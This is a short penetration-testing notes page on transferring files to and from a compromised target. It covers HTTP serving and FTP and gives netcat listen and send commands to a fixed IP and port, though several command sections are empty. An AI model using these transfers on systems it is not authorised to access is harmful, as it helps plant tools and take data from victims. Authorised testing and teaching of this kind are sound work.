File transfers
Once we gain initial access to our target we may need to upload additional tools to help us elevate privileges or provide easier methods of accessing the machine at a later point. We might also want to download files from the target for use in our report. The following list provides a few common techniques for executing file transfers.
Hosting files via HTTP
On our attacking machine we have two options for serving files. The first (preferred) method is to run the SimpleHTTPServer Python module in the directory that contains the files we want to transfer.
Our second option is to use our built in Apache server. To do this we need start the Apache 2 service. Once started our files will be served from var/www/html.
Next, we use our target machine to request the desired filed from the server. The method varies slightly depending on the OS of the target machine.
Built-in OS functions
Linux
Windows
Other alternatives
FTP
Create an FTP server in the directory you are in, on port 21, allow anonymous access:
Netcat
On receiving machine: nc -nlvp 4444 > incoming.exe
On sending machine: nc – nv 10.11.23.33 4444 < file.exe
Last updated